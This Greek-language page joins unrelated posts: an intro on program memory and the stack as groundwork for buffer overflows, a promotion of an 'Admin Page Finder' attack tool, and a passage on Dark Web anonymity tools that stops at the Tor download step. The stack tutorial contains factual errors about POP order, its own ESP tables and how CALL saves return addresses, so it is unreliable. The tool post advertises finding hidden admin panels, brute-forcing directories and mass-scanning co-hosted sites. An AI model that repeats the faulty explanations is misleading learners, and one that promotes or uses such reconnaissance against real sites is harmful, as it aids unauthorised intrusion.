Το συγκεκριμένο άρθρο είναι το πρώτο μέρος μιας σειράς που θα περιγράψει την αδυναμία Buffer Overflow. Σε αυτό το πρώτο μέρος, θα δώσουμε την απαιτούμενη (στοιχειώδη) γνώση ή σε απλά Ελληνικά: “το απαιτούμενο background”, που χρειάζεται σε κάποιον, ώστε να μπορέσει κατανοήσει τον βαθύτερο λόγο που μπορεί να συμβεί μια τέτοια επίθεση, ώστε να μπορέσει να εφαρμόσει μέτρα (ακόμα και ο ίδιος) μήπως και καταφέρει να μειώσει την πιθανότητα υλοποίησης αυτής της απειλής.
Κάθε εφαρμογή που τρέχουμε στον υπολογιστή μας όσο απλή ή σύνθετη κι αν είναι γράφτηκε από κάποιον προγραμματιστή. Οι αρχές εκτέλεσης ενός προγράμματος είτε πρόκειται για το ίδιο το λειτουργικό σύστημα είτε για ένα ταπεινό πρόγραμμα πρόσθεσης δύο αριθμών είναι παρόμοιες ή σχεδόν παρόμοιες.
Πρώτα απ’ όλα έχουμε το πρόγραμμα που φτιάχνει ο προγραμματιστής το οποίο αποτελείται από εντολές κατανοητές μόνο από ανθρώπους και ονομάζεται πηγαίος κώδικας ή απλά κώδικας. Αυτός ο κώδικας λοιπόν περνάει από μια ειδική επεξεργασία από άλλα προγράμματα που ονομάζονται μεταφραστές (compilers) ή διερμηνευτές (interpreters) για να μεταφραστεί σε κάτι που είναι κατανοητό μόνο (μόνο; Χμ, τέλος πάντων) από τον επεξεργαστή του υπολογιστή μας.
Θα μας πείτε τώρα ποια η διαφορά ενός compiler από έναν interpreter. Χμ, αρκετά μεγάλη: Οι compilers μεταφράζουν όλο τον πηγαίο κώδικα και παράγουν ένα νέο πρόγραμμα που ονομάζεται εκτελέσιμο (το γνωστό exe ή com). Το εκτελέσιμο αρχείο αποτελείται από εντολές μηχανής (όπως λέγονται) και που αντιστοιχούν σε αυτές που γράφτηκαν στον πηγαίο κώδικα. Είναι αυτό το αρχείο που όταν εκτελεστεί θα υλοποιήσει τις εντολές του αντίστοιχου πηγαίου του κώδικα. Μεταγλωττιστές χρησιμοποιούνται συνήθως για να μεταφράσουν κώδικα σε γλώσσες όπως οι C, C++, Pascal, κλπ.
Οι διερμηνευτές (interpreters) από την άλλη, μεταφράζουν τον πηγαίο κώδικα εντολή-εντολή: Τον διαβάζουν στην μνήμη και τον εκτελούν (συνήθως) γραμμή – γραμμή. Δεν παράγουν (…πάντα) κάποιο εκτελέσιμο αρχείο, αφού ο ίδιος ο πηγαίος κώδικας μεταφράζεται και εκτελείτε εκείνη την χρονική στιγμή που διαβάζεται. Διερμηνευτές υπάρχουν για τις γνωστές γλώσσες ανάπτυξης web εφαρμογών όπως η PHP και η ASP.
Η κάθε μια προσέγγιση φυσικά έχει τα καλά της και τα κακά της: Συνήθως τα προγράμματα που έχουν προέλθει από κάποιον compiler είναι πολύ πιο γρήγορα και απαλλαγμένα από συντακτικά λάθη που μπορεί να έκανε ο προγραμματιστής όταν τα έφτιαχνε. Αυτό το τελευταίο ισχύει διότι η συντακτικός έλεγχος γίνεται όταν παράγεται το εκτελέσιμο και αν βρεθεί λάθος, εκτελέσιμο δεν έχει! 😉 Επίσης το εκτελέσιμο είναι (λέμε τώρα…!! πολύ δύσκολο να διαβαστεί από κάποιον τρίτο ο οποίος θα προσπαθήσει (για οποιονδήποτε λόγο) να «κλέψει» τον κώδικα που έγραψε ο προγραμματιστής. Από την άλλη μεριά τα προγράμματα που περνάνε από διερμηνευτές είναι πολύ πιο εύκολα στην συντήρηση, αφού δεν απαιτείται η διαδικασία του compilation (όπως λέγεται) ούτε και απαιτείται κάποιο ξεχωριστό εκτελέσιμο. Για μικρές αλλαγές στον κώδικα είναι ιδανικά και γρήγορα!
Υπάρχει όμως και μια τρίτη κατηγορία που βρίσκεται κάπου στη μέση. Πρόκειται για τις λεγόμενες εικονικές μηχανές (Virtual Machines – όχι δεν εννοούμε το VMWare ή το Virtual Box, μην το μπερδέψετε!) που παράγουν ένα ψευτο-εκτελέσιμο κώδικα (intermediate code), ο οποίος απαιτεί την ύπαρξη μιας «εικονικής μηχανής» για να τρέξει. Τέτοιες προσεγγίσεις έχουν φτιαχτεί για τις γλώσσες Java και για το γνωστό και μη εξαιρετέο Microsoft .Net. Βέβαια μη νομίζετε ότι αυτή η ιστορία είναι και τόσο πολύ καινούρια! Την 10ετία του 1980 υπήρχε το περίφημο P-System της Pascal, και είχαν φτιαχτεί γι’ αυτό ουκ-ολίγες εφαρμογές! Τα πλεονεκτήματα της virtual machine είναι η φορητότητα, η ασφάλεια κλπ. Για την ταχύτητα θα έλεγε κανείς ότι σίγουρα είναι καλύτερα από τον interpreter αλλά ίσως λίγο χειρότερα από τον compiler.
Ας έρθουμε όμως στην εκτέλεση του προγράμματος, που είναι και αυτό που μας ενδιαφέρει. Θα ασχοληθούμε με την εκτέλεση ενός προγράμματος που έχει μεταγλωττιστεί από κάποιον compiler χωρίς αυτό να σημαίνει ότι οι υπόλοιπες προσεγγίσεις (interpreters και virtual machines) διαφέρουν πολύ σε υλοποίηση. Να πούμε οτι σε αυτό το άρθρο (τουλάχιστον) για αναφερθούμε για λόγους απλότητας σε υλοποιήσεις που βασίζονται στους επεξεργαστές της Intel (AMD και συμβατούς) και σε αρχιτεκτονική 32-bit.
Κάθε πρόγραμμα που εκτελείται στην μνήμη του υπολογιστή μας χρησιμοποιεί τρία βασικά μέρη της μνήμης RAM:
Το μέρος του Κώδικα (code section).
Το μέρος των Δεδομένων (data section).
Το μέρος της Στοίβας (stack).
Πριν αναλύσουμε ένα-ένα τα μέρη αυτά θα θέλαμε να σας πούμε λίγα λόγια για την μνήμη. Η μνήμη του υπολογιστή είναι σαν τις κλειδοθήκες στην reception ενός ξενοδοχείου. Οι κλειδοθήκες λοιπόν, έχουν απ’ έξω γραμμένο ένα αριθμό που είναι ο αριθμός δωματίου και μέσα περιέχουν (ή δεν περιέχουν) το κλειδί. Έτσι ακριβώς λειτουργεί και η μνήμη του υπολογιστή μας: Περιέχει εκατομμύρια κουτάκια με νούμερα τα οποία νούμερα τα ονομάζουμε διευθύνσεις και μέσα σε αυτές φυλάσσονται τα δεδομένα μας. Κάθε κουτάκι μπορεί να δεχτεί συγκεκριμένου μεγέθους δεδομένα. Αν τα δεδομένα που θέλουμε να αποθηκεύσουμε στην μνήμη είναι πολλά (που σχεδόν πάντα είναι) τότε μοιράζονται σε πολλά κουτάκια. Όπως θα φαντάζεστε, πάρα πολλά κουτάκια παραμένουν άδεια διότι απλά δεν έχουν τοποθετηθεί ακόμα μέσα τους δεδομένα. Αυτό όμως δεν σημαίνει ότι δεν έχουν και διεύθυνση! Κρατήστε αυτές τις πληροφορίες διότι θα μας χρειαστούν παρακάτω.
Μέρος του Κώδικα (code section)
Σε αυτό το κομμάτι της μνήμης αποθηκεύονται όλες οι εντολές του προγράμματός μας. Κατά την διάρκεια εκτέλεσης του προγράμματος κανένα πρόγραμμα δεν μπορεί να γράψει δεδομένα σε αυτό το μέρος. Είναι μόνο για διάβασμα (Read Only).
Για παράδειγμα, όλες οι εντολές μηχανής που αντιστοιχούν στο παρακάτω κομμάτι πηγαίου κώδικα (σε γλώσσα C στο παράδειγμα μας) θα τοποθετηθούν στην μνήμη στο Code Section:
/* Θέσε τα στοιχεία της 1ης διαγώνιου ενός πίνακα 100×100 με 1, και τα υπόλοιπα με 0 */
for (i = 0; i < 100; i++)
for (j = 0; j < 100; j++)
if (i<>j)
a[i][j] = 0
else
a[i][j] = 1;
Τα σχόλια /*…*/ φυσικά δεν περιλαμβάνονται στον εκτελέσιμο κώδικα, δηλαδή δεν θα μεταφραστούν σε κώδικα μηχανής αφού αφορούν μόνο αυτόν που διαβάζει το πρόγραμμα και όχι τον επεξεργαστή που το εκτελεί.
Μέρος των Δεδομένων (data section)
Στο μέρος αυτό τοποθετούνται όλες οι καθολικές μεταβλητές (global variables) του προγράμματος μας. Καθολικές μεταβλητές είναι εκείνες που είναι προσβάσιμες από όλες τις συναρτήσεις (functions) και τα υποπρογράμματα (procedures) του τρέχοντος προγράμματος. Εδώ, μπορεί να γράψει και φυσικά να διαβάσει δεδομένα το πρόγραμμα μας (non Read-Only). Για παράδειγμα, οι παρακάτω μεταβλητές i, j και a θα τοποθετηθούν στο data section:
int i;
int j=0;
int a[100][100];
Μέρος της Στοίβας (stack)
Όλες οι τοπικές μεταβλητές, δηλαδή αυτές που δηλώνονται στις συναρτήσεις ή στα υπο-προγράμματα καθώς επίσης και κάποιες διευθύνσεις μνήμης που χρησιμοποιεί το πρόγραμμα μας καταχωρούνται στην λεγόμενη στοίβα. Το μέρος αυτό της μνήμης αποτελεί στην πραγματικότητα μια δομή δεδομένων τύπου στοίβας. Για να γίνει κατανοητή η δομή αυτή θα αναφέρουμε το κλασικό παράδειγμα με τα πιάτα: Σκεφτείτε ότι πρέπει να πλύνουμε 10 πιάτα. Καθώς τα πλένουμε ένα-ένα τα τοποθετούμε σε μια στοίβα, το ένα επάνω στο άλλο. Μόλις τελειώσουμε και θέλουμε να τα σκουπίσουμε (λέμε τώρα…!) τότε θα πάρουμε πρώτα εκείνο που μπήκε τελευταίο στην στοίβα. Η μέθοδος αυτή που χρησιμοποιούμε την στοίβα ονομάζεται Last In First Out (LIFO) και πρόκειται για μια πολύ συνηθισμένη “κατάσταση” στον προγραμματισμό (και όχι μόνο – απ’ όσο είδαμε και στο παράδειγμα μας…). Το κύριο χαρακτηριστικό της είναι πως το στοιχείο που μπαίνει τελευταίο, βγαίνει πρώτο.
Να πούμε οτι σε αυτό το μέρος της μνήμης επιτρέπεται το γράψιμο, δηλαδή είναι κι αυτό (όπως και το data segment) Writable. Αντί για… πιάτα όμως, το πρόγραμμα μας τοποθετεί εδώ της μεταβλητές που χρησιμοποιούμε στις συναρτήσεις του προγράμματος μας. Βέβαια, πρέπει να έχει ένα τρόπο να γνωρίζει ποια μεταβλητή είναι η τελευταία στην στοίβα, αυτή δηλαδή που θα ληφθεί πρώτη, όταν χρειαστεί. Για να το γνωρίζει αυτό, χρησιμοποιεί έναν από τους λεγόμενους δείκτες. Σκεφτείτε τους δείκτες σαν θέσεις μνήμης αλλά μέσα στον επεξεργαστή: άμεσα και γρήγορα προσβάσιμους. Ο δείκτης που χρησιμοποιείται για να ξέρουμε ποιο είναι το τελευταίο στοιχείο (μεταβλητή) της στοίβας ονομάζεται Δείκτης Στοίβας (extended stack pointer – ESP ή σκέτο SP). Στην πραγματικότητα ο ESP κρατάει την διεύθυνση της μεταβλητής που βρίσκεται κάθε στιγμή στην κορυφή της στοίβας.
Στην στοίβα μπορούμε να βάζουμε (push) ή να παίρνουμε (pop) στοιχεία κατά βούληση. Είναι πολύ σημαντικό να γνωρίζετε δυο μικρά μυστικά:
Εξ’ αιτίας της αρχιτεκτονικής του 32μπιτου επεξεργαστή της Intel (ή των συμβατών με αυτόν όπως o AMD), οι μεταβλητές που καταχωρούνται αποτελούνται από μέρη των 4ων ψηφίων ή αλλιώς των 4ων bytes. Γιατί; Διότι το bus είναι 32 bits (binary digits). Στα 32 bits χωράνε 4 bytes αφού το 1 byte = 8 bits, 4 x 8 = 32bits.
Η στοίβα αυξάνεται προς τα κάτω. Δηλαδή ξεκινάει από ψηλές διευθύνσεις στην μνήμη και όσο βάζουμε στοιχεία αυτή “μεγαλώνει” τόσο “κατεβαίνει” προς τα κάτω. Δείτε για παράδειγμα το εξής:
Έστω οτι ο καταχωρητής SP = 256. Δείχνει, δηλαδή, στο κουτάκι 256 στην μνήμη. Αν δώσουμε την εντολή “push 34” (βάλε στο stack το 34) τότε ο ΕSP αυτόματα θα μειωθεί κατά 4 και θα γίνει 252 και στο κουτάκι 256 θα μπει ο αριθμός 34.
Έχουμε λοιπόν:
PUSH 34
Διεύθυνση
Τιμή
256
34
252
248
…
ESP=256
Αν μετά δώσουμε την εντολή:
PUSH 50
θα έχουμε:
Διεύθυνση
Τιμή
256
34
252
50
248
…
ESP=248
Για να πάρει το πρόγραμμα μας από το stack, θα δώσει την εντολή:
POP Χ
Αυτό σημαίνει οτι ο επεξεργαστής θα πάρει από το STACK την πρώτη τμή και θα την απονείμει στην μεταβλητή Χ και αμέσως μετά ο ESP θα γίνει 252 και η μεταβλητή Χ θα έχει την τιμή 34.
Εδώ, να αναφέρουμε ένα μικρό μυστικό. Αν θέλαμε να πάρουμε από το STACK την τιμή 50 και όχι την 34 τότε θα έπρεπε να δώσουμε δύο φορές POP αφού δεν έχουμε κατευθείαν πρόσβαση στο 50. Δηλαδή:
POP Χ
POP Χ Εδώ, το Χ θα έχει την τιμή 50 και ο ESP=248.
Πως εκτελούνται οι εντολές (instructions)
Για να καταλάβουμε αυτή την λειτουργία πρέπει πρώτα να μιλήσουμε για ένα καταχωρητή: Τον EIP (Extended Instruction Pointer ή απλά Instruction Pointer). Οι καταχωρητές είναι ακριβώς όπως και οι δείκτες που αναφέραμε πιο πάνω: Είναι θέσεις μνήμης μέσα στον επεξεργαστή και χρησιμοποιούνται από αυτόν για να εκτελεί της εντολές των προγραμμάτων μας. Αυτός ο καταχωρητής χρησιμοποιείται για να “κρατάει” πάντα την διεύθυνση που βρίσκεται η επόμενη προς εκτέλεση εντολή του προγράμματος μας. Για να εκτελέσει ο επεξεργαστής μια εντολή, διαβάζει από τον EIP την διεύθυνση της, πάει σε αυτήν την διεύθυνση και διαβάζει την εντολή, την εκτελεί και καταχωρεί στον EIP την επόμενη προς εκτέλεση εντολή, κοκ. Πώς όμως ο επεξεργαστής μας θα βρει ποια είναι η επόμενη προς εκτέλεση εντολή ώστε να την καταχωρήσει στον EIP; Χμ… εδώ πρέπει να διακρίνουμε δυο περιπτώσεις:
Η επόμενη εντολή προς εκτέλεση βρίσκεται αμέσως μετά την προηγούμενη.
Να έχουμε μια περίπτωση jump δηλαδή να υπάρχει (για παράδειγμα) μια συνάρτηση που καλείται προς σε ένα άλλο σημείο του προγράμματος και θα πρέπει ο επεξεργαστής μας να “πηδήσει” σε εκείνο το σημείο, ή αλλιώς σε εκείνη την διεύθυνση της μνήμης και να εκτελέσει τις εντολές εκεί.
Στην περίπτωση 1 τα πράγματα είναι απλά: Η διεύθυνση υπολογίζεται ως εξής: προσθέτουμε στον EIP το μήκοςτης τρέχουσας εντολής που εκτελέστηκε. Το αποτέλεσμα μιας τέτοιας πράξης θα είναι η διεύθυνση της αμέσως επόμενης εντολής. Για να το καταλάβετε αυτό, δείτε το εξής μικρό πρόγραμμα δύο εντολών:
100 push EDX 101 mov ESP 0
Η εντολή στην διεύθυνση 100 βάζει στο stack την τιμή του καταχωρητή EDX (αυτός είναι ένας καταχωρητής γενικής χρήσης – τον έχουμε σαν… πρόχειρο). Η εντολή στην διεύθυνση 101 δίνει στο δείκτη ESP την τιμή 0. Όταν ο επεξεργαστής μας εκτελεί την εντολή στην διεύθυνση 100 τότε θα “σκεφτεί” τα εξής:
Είναι κάποιο jump; Όχι, άρα υπολογίζω το μέγεθος της εντολής στην διεύθυνση 100 που έχω. Έστω οτι είναι 1 byte. Άρα η επόμενη εντολή προς εκτέλεση πρέπει να βρίσκεται στην διεύθυνση 100 + 1 = 101. Άρα βάζω στον EIP το 101.
Απ’ ότι καταλάβατε εδώ, κάθε εντολή – instruction (push, mov κλπ) καταλαμβάνει μνήμη και άρα έχει και κάποιο μέγεθος. Όλες οι εντολές δεν έχουν το ίδιο μέγεθος. Άλλες μπορεί να είναι 1 byte άλλες 2 άλλα 4 κοκ.
Υπάρχει βέβαια και η πιο σύνθετη περίπτωση: Η περίπτωση JUMP, δηλαδή η περίπτωση που το πρόγραμμα μας συνεχίζεται σε μια άλλη διεύθυνση πολύ πιο… “μακρινή” από την αμέσως επόμενη στη σειρά. Αυτό μπορεί να συμβεί (όπως είπαμε) όταν το πρόγραμμα καλεί μια συνάρτηση ή ένα άλλο υποπρόγραμμα. Στην πράξη γίνεται το εξής: Πριν εκτελεστεί η εντολή JUMP ο επεξεργαστής μας κρατάει την αμέσως επόμενη εντολή (αυτή που θα βρίσκεται μετά το jump) και την τοποθετεί σε ένα καταχωρητή γενικής χρήσης, ας πούμε τον EDX. Αμέσως μετά πάει στην διεύθυνση που του λέει το JUMP (Π.χ. JUMP 35456) και εκτελεί τις εντολές που βρίσκονται εκεί μία προς μία, μέχρι να συναντήσει το τέλος της συνάρτησης (που ορίζεται με μια εντολή RET, δηλαδή return), τότε απλά γράφει στο EIP το περιεχόμενο που είχε καταχωρήσει στον EDX. Κατά συνέπεια το πρόγραμμα συνεχίζει από την επόμενη εντολή που είχε σταματήσει για κάνει το jump. Η διαδικασία του JUMP υλοποιείται από το πρόγραμμα με την χρήση 2 εντολών: της CALL και της RET. H CALL μεταφέρει την λειτουργικότητα του προγράμματος σε μια άλλη (μακρινή) διεύθυνση και η RET δηλώνει το τέλος της σειράς των εντολών που βρίσκονται σε αυτήν την άλλη διεύθυνση ώστε να ξέρει πότε να σταματήσει (ή όπως λέμε να επιστρέψει) ο επεξεργαστής από την εκτέλεση των εντολών σε αυτή την περιοχή της μνήμης.
Δείκτης Βάσης – base pointer (EBP)
Κάθε φορά που εφαρμόζεται ένα jump είπαμε οτι ο επεξεργαστής πάει να εκτελέσει ένα σύνολο εντολών (instructions) σε μια άλλη θέση μνήμης (μέχρι να συναντήσει ένα RET). Αυτό το σύνολο εντολών όπως είπαμε, ονομάζεται συνάρτηση (function) ή διαδικασία (procedure). Κάθε συνάρτηση (ή διαδικασία) έχει το δικό της stack το οποίο ονομάζεται stack frame. Ένα stack frame είναι μια στοίβα στην οποία θα καταχωρηθούν μεταβλητές και διευθύνσεις που αφορούν μόνο στην τρέχουσα συνάρτηση που εκτελείται. Κάθε διεύθυνση μέσα στο συγκεκριμένο stack είναι μια σχετική διεύθυνση σε σχέση με μια βάση. Η βάση αυτή είναι ο base pointer. Όλες λοιπόν οι αναφορές στις διευθύνσεις του stack γίνονται με βάση τον τρέχοντα δείκτη βάσης (base pointer).
Στην πράξη γίνεται το εξής: Πριν καλέσουμε μια συνάρτηση βάζουμε στο EBP τον τρέχον ESP. Από εκεί και μετά κάθε φορά που θέλουμε να αναφερθούμε σε μια διεύθυνση στο stack θα το κάνουμε με βάση τον EBP που στην ουσία είναι η αρχή του stack πριν την κλήση της συνάρτησης. Για να το καταλάβετε δείτε το εξής παράδειγμα:
Στο παρακάτω stack έχουμε ebp=256 και esp=256:
Διεύθυνση
Τιμή
256
34
252
248
…
Έστω οτι καλούμε μια συνάρτηση η οποία βάζει στο stack τον αριθμό 89. Θα έχουμε:
Διεύθυνση
Τιμή
256
34
252
89
248
…
Όπου ebp=256 και esp=252.
Η χρήση του ebp μας βολεύει πολύ όταν θέλουμε να αναφερθούμε στις τιμές του stack της συγκεκριμένης συνάρτησης. Δηλαδή, η μεταβλητή που βρίσκεται στη θέση (ebp 256) είναι η πρώτη μεταβλητή που καταχώρησε στο stack η συνάρτηση μας.
Όταν τελειώσει αυτή η συνάρτηση το έργο της (με ένα RET), τότε ο EBP θα επανέλθει στον προηγούμενο EBP ο οποίος είχε φυλαχτεί σε κάποιον καταχωρητή πριν την κλήση της συνάρτησης.
Συμπεράσματα
Δώσαμε μια βασική περιγραφή για το πώς λειτουργεί εσωτερικά ένα πρόγραμμα. Οι γνώσεις που αποκομίσατε από το συγκεκριμένο άρθρο θεωρούνται στοιχειώδεις γνώσεις για ένα reverser ή για κάποιον που θέλει να καταλάβει έννοιες και να μπορέσει να διαβάσει άρθρα λίγο πιο προχωρημένα όπως αυτά που «μιλάνε» για buffer overflow.
Θα πρέπει, αν θέλετε να καταλάβετε καλά ένα Stack Buffer Overflow Attack, θα πρέπει να δώσετε βάση και να μπορείτε να εξηγήσετε τα εξής:
Τι είναι ο Instruction Pointer (EIP).
Τι είναι το Stack.
Τι είναι ο Stack Pointer (ESP).
Πώς συνδέονται τα παραπάνω μεταξύ τους.
Στα επόμενα άρθρα αυτής της οικογένειας θα δούμε λίγο πιο… core πράγματα! Προς το παρόν, σκεφτείτε το εξής:
Τι θα συμβεί αν καταφέρουμε με κάποιο τρόπο να ελέγξουμε τον Instruction Pointer (EIP);! 😎
1337 Admin P4Ge Find3r v5 – The new version -The best Admin finder in the world
[+] Δημιουργός :Bk
[+]Γράφτηκε σε perl και μετατράπηκε σε εκτελέσιμο για λόγους ευκολίας εκτέλεσης και προστασίας του κώδικα
[+] Τύπος prive
[+]Ener site url : Τοποθετήστε το url στο κενό πεδίο
[+]Enable Response time: Η επιλογή αυτή μας δίνει την δυνατότητα να ενεργοποιήσουμε τον χρόνο ανταπόκρισης.Για παράδειγμα αν επιλέξουμε για χρόνο ανταπόκρισης 20 δευτερόλεπτα και δεν ανταποκριθεί ο server αυτομάτως θα περάσει στο επόμενο αίτημα.
[+]Select time to Response : Εδώ διαλέγουμε τον χρόνο ανταπόκρισης
[+]Select User Angend: Επιλέγουμε τον User Angend που θέλουμε να εμφανίζετε κατά τα αιτήματα.
[+]Select Method: Εδώ επιλεγούμε την μέθοδο που θα χρησιμοποιήσουμε
[+]PHP: Αν ο πηγαίος κώδικας είναι php επιλεγούμε php
[+]ASP: Αν ο πηγαίος κώδικας είναι ASP επιλεγούμε ASP
[+]Mix List: Η Mix List είναι μια πολύ καλή λίστα από τον ~codex~ που περιλαμβάνει PHP και ASP paths.Μπορείτε να την χρησιμοποιήσετε σε php και asp .
[+]New Method: Αυτή η μέθοδος είναι μοναδική καθώς δεν υπάρχει πουθενά εργαλείο που να κάνει αυτήν την δουλεία.
Οι διαχειριστές σκαρφίζονται πάντα νέους τρόπους για να κρύψουν την σύνδεση του διαχειριστή. Πολλές φορές ένας πονηρεμένος διαχειριστής κάνει το εξής.
Ας υποθέσουμε πώς το login διαχείρισης είναι — > http://www.tosite.gr/administrator/
Ο πονηρεμένος διαχειριστής το αλλάζει σε—- > http://administrator.tosite.gr/
Έτσι αυτομάτως βγάζει εκτός μάχης όλους τους admin panel finder που κυκλοφορούν εκεί έξω.Οχι όμως τον δικό μας.
[+]PHPMyAdmin:Με την επιλογή αυτόν έχουμε την δυνατότητα να ψάξουμε το phpmyadmin τις σελίδας
[+]Dir Bruter: H επιλογή Dir Bruter περιλαμβάνει μια υπερβολικά τεράστια λίστα όπου χρησιμοποιείτε και από τον BirBuster για επιθέσεις καταλόγων.
[+]Use custom Dir list : Εδώ μπορείτε να προσθέσετε τα δικά σας ονόματα αρχείων στο dir.txt και να δημιουργήσετε την δικιά σας λίστα
[+]Use custom Admin list: Το ίδιο και εδώ μπορείτε να προσθέσετε και να δημιουργήσετε την δικιά σας λίστα με admin και phpmyadmin διαδρομές στο αρχείο admin.txt
[+]Use mass Scan-Reverse ip First:Η επιλογή αυτή μας επιτρέπει να σκαναρουμε μαζικά σελίδες χρησιμοποιώντας ένα path τις επιλογής μας.Θα πρεπει προτα να κανουμε reverse την ip η να προσθέσουμε τα δικά μας site στο αρχείο reversed sites.txτ.
Μπορούμε να εξάγουμε όλα τα joomla που φιλοξενούνται στον ίδιο server ,WordPress η οτιδήποτε άλλο.
[+]shows user ip: Αποτυπώνει την ip του χρήστη
[+]shows site ip : Αποτυπώνει την ip του site
[+]shows reverse dns:Μας εμφανιζει το όνομα του dns
[+]Auto IP Reverser: Μας εμφανίζει όλα τα site που φιλοξενούνται στον server απλά με ένα κλικ ενο παράλληλα δημιουργεί και τυπώνει τις ιστοσελίδες στο αρχείο reversed sites.τxτ οπου χρησιμοποιείτε για μαζικό σκανάρισμα .
[+]shows sites hosted on the same ip: Εμφανίζει τον αριθμό ιστοσελίδων με την ίδια ip
[+]shows robots.txt if it can be read:Μας ενημερώνει αν το αρχείο robotx.τχτ μπορεί να διαβαστεί και μας δίνετε η δυνατότητα τα να μεταβούμε σε αυτό με ένα click. Download
Το Dark Web (σκοτεινός ιστός) είναι μια μικρή, αποκρυφή περιοχή του Διαδικτύου που δεν είναι προσβάσιμη με κανονικούς περιηγητές όπως το Google Chrome, το Mozilla Firefox ή το Microsoft Edge. Αντίθετα, για να αποκτήσετε πρόσβαση στο Dark Web, χρειάζεστε ειδικό λογισμικό, όπως το Tor Browser.
Σε αυτό το άρθρο, θα εξετάσουμε τη σημασία της ανωνυμίας στο Dark Web και τα εργαλεία που χρησιμοποιούνται για να διατηρηθεί η ασφάλεια και η ιδιωτικότητα των χρηστών.
Τα κύρια χαρακτηριστικά του Dark Web είναι τα εξής:
Ανωνυμία: Το Dark Web προσφέρει αυξημένη ανωνυμία στους χρήστες του, καθώς η κίνηση του διαδικτύου τους δρομολογείται μέσα από πολλούς κόμβους του Tor Network, προστατεύοντας την προσωπική τους ταυτότητα.
Κρυπτογραφία: Οι συνδέσεις και οι επικοινωνίες στο Dark Web είναι συχνά κρυπτογραφημένες, εξασφαλίζοντας την ασφάλεια των δεδομένων.
Περιεχόμενο: Το Dark Web περιέχει μια ποικιλία περιεχομένου, συμπεριλαμβανομένων ιστοσελίδων, φόρουμ, καταστημάτων, και πολλών άλλων, μερικές φορές προσβάσιμα μόνο μέσω συγκεκριμένων διευθύνσεων URL.
Εμπορία: Το Dark Web έχει γίνει γνωστό για τον ανώνυμο εμπορίο διαφόρων ειδών, συμπεριλαμβανομένων ναρκωτικών, όπλων, προσωπικών δεδομένων και πολλών άλλων.
Κρυμμένες Υπηρεσίες: Στο Dark Web υπάρχουν κρυμμένες υπηρεσίες (Hidden Services) που προσφέρουν περιεχόμενο και υπηρεσίες που δεν είναι ορατές στον κανονικό ιστό.
Είναι σημαντικό να σημειώσουμε ότι, ενώ το Dark Web χρησιμοποιείται από ορισμένους για νόμιμους σκοπούς, όπως η ανωνυμία και η προστασία της ιδιωτικότητας, έχει επίσης γίνει γνωστό για την παράνομη δραστηριότητα.
Το Dark Web αντιπροσωπεύει έναν κόσμο ανωνυμίας και ασφάλειας στον κυβερνοχώρο. Για να διατηρήσετε την ανωνυμία σας στο Dark Web, χρειάζεται να χρησιμοποιήσετε εξειδικευμένα εργαλεία και τεχνικές. Εδώ είναι μερικά από τα βασικά εργαλεία που χρησιμοποιούν οι χρήστες του Dark Web για να διασφαλίσουν την ανωνυμία τους:
1. Το Τοr (The Onion Router): Το Tor είναι ένα από τα κύρια εργαλεία που χρησιμοποιούν οι χρήστες του Dark Web για να προστατεύσουν την ανωνυμία τους. Αυτή η τεχνολογία λειτουργεί με το να κατευθύνει την κίνηση δεδομένων μέσα από ένα δίκτυο από πολλαπλούς κόμβους, κρυπτογραφώντας την κάθε στρώση πληροφοριών σαν κρεμμύδι (το λεγόμενο “στρώμα κρεμμυδιού”). Αυτό κάνει την παρακολούθηση της κίνησης πολύ δύσκολη και προστατεύει την ανωνυμία των χρηστών.
2. Υπηρεσίες VPN (Virtual Private Networks): Οι υπηρεσίες VPN είναι δημοφιλείς για τη δημιουργία μιας ασφαλούς και ανώνυμης σύνδεσης στο Dark Web. Ένα VPN κρυπτογραφεί την κίνηση δεδομένων και κρύβει την πραγματική διεύθυνση IP του χρήστη, αντικαθιστώντας την με μια διεύθυνση IP από έναν διακομιστή στον κόμβο του VPN.
3. Κρυπτογραφία: Η χρήση της κρυπτογραφίας είναι απαραίτητη στο Dark Web. Οι χρήστες κρυπτογραφούν τα μηνύματά τους και τις πληροφορίες τους για να αποτρέψουν την παρακολούθηση από τρίτους. Πολλές υπηρεσίες στο Dark Web προσφέρουν τη δυνατότητα ανταλλαγής κρυπτογραφημένων μηνυμάτων.
4. Προσοχή στα Αυθαίρετα Κατευθυνόμενα Δεδομένα (Metadata): Οι χρήστες του Dark Web πρέπει να είναι προσεκτικοί με τα metadata. Αυτά είναι πληροφορίες που μπορούν να αποκαλύψουν πολλά για την ανωνυμία του χρήστη, όπως η χρονολογία και η τοποθεσία. Οι χρήστες πρέπει να είναι προσεκτικοί όταν ανεβάζουν φωτογραφίες και άλλα αρχεία στο Dark Web.
5. Προστασία από Κοινοποίηση Πληροφοριών (Information Leakage): Η προστασία από διαρροές πληροφοριών είναι κρίσιμη. Οι χρήστες πρέπει να αποφεύγουν την αναφορά προσωπικών πληροφοριών και την κοινοποίηση περαιτέρω πληροφοριών στο Dark Web.
6. Tails (The Amnesic Incognito Live System): Το Tails είναι ένα λειτουργικό σύστημα που βασίζεται στο Linux και σχεδιάστηκε ειδικά για ανωνυμία. Εκκινεί από USB, δρομολογεί όλη την κίνηση μέσω του Tor, και δεν αφήνει ίχνη στον υπολογιστή που το χρησιμοποιείτε.
7. Κρυπτονομίσματα: Τα κρυπτονομίσματα όπως το Bitcoin, το Monero και το Zcash είναι δημοφιλή στο Dark Web και προσφέρουν ανωνυμία στις χρηματικές συναλλαγές. Οι χρήστες μπορούν να χρησιμοποιήσουν αυτά τα κρυπτονομίσματα για να πληρώσουν για προϊόντα και υπηρεσίες χωρίς να αποκαλύπτουν την ταυτότητά τους.
8. Κρυπτογραφία Μηνυμάτων: Στο Dark Web, η ασφαλής ανταλλαγή μηνυμάτων είναι ουσιαστική. Οι χρήστες χρησιμοποιούν εργαλεία όπως το PGP (Pretty Good Privacy) για να κρυπτογραφήσουν τα μηνύματά τους. Αυτό εξασφαλίζει ότι μόνο ο παραλήπτης μπορεί να αποκρυπτογραφήσει το μήνυμα.
9. Κρυπτογραφημένα Αρχεία: Στο Dark Web, οι χρήστες μπορούν να ανεβάσουν και να κατεβάσουν κρυπτογραφημένα αρχεία. Αυτό προστατεύει το περιεχόμενο από ανεπιθύμητη πρόσβαση και παρακολούθηση.
Για να μπείτε στο Dark Web, θα χρειαστεί να ακολουθήσετε τα παρακάτω βήματα:
Λήψη και Εγκατάσταση του Tor Browser:
Το Tor Browser είναι ο πιο δημοφιλής τρόπος να αποκτήσετε πρόσβαση στο Dark Web. Πηγαίνετε στην επίσημη ιστοσελίδα του Tor Project: https://www.torproject.org/
